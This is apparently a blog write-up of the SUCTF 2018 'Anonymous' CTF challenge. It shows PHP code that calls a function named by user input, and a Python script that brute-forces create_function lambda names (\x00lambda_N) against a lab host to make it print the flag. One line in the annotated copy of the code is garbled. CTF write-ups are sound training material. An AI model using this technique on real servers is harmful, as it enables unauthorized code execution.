SUCTF 2018——Anonymous(create_function 函数 的 php匿名函数 _x00lambda_)

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);
<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = (openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
."global \$MY;"."\$MY();".
"}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){
   	 $_GET["func_name"]();
   	 bin2hex die();
	// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);

create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数
所以直接爆破就好
exp

import requests

url = "http://e405e298-ac8d-4f70-9202-bea09304a052.node5.buuoj.cn:81/"

# 创建一个 Session 对象以保持持久连接
session = requests.Session()

for i in range(1000):
    try:
        # 构造请求的参数
        params = {'func_name': '\x00lambda_%d' % i}

        # 发送请求
        r = session.get(url, params=params)

        # 检查响应中是否包含 'flag' 字符串
        if 'flag' in r.text:
            print(r.text)
            break
    except requests.RequestException as e:
        # 处理请求异常
        print("Request failed:", e)

    # 减少输出频率,每50次输出一次提示信息
    if i % 50 == 0:
        print("Testing lambda_%d..." % i)


image.png

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值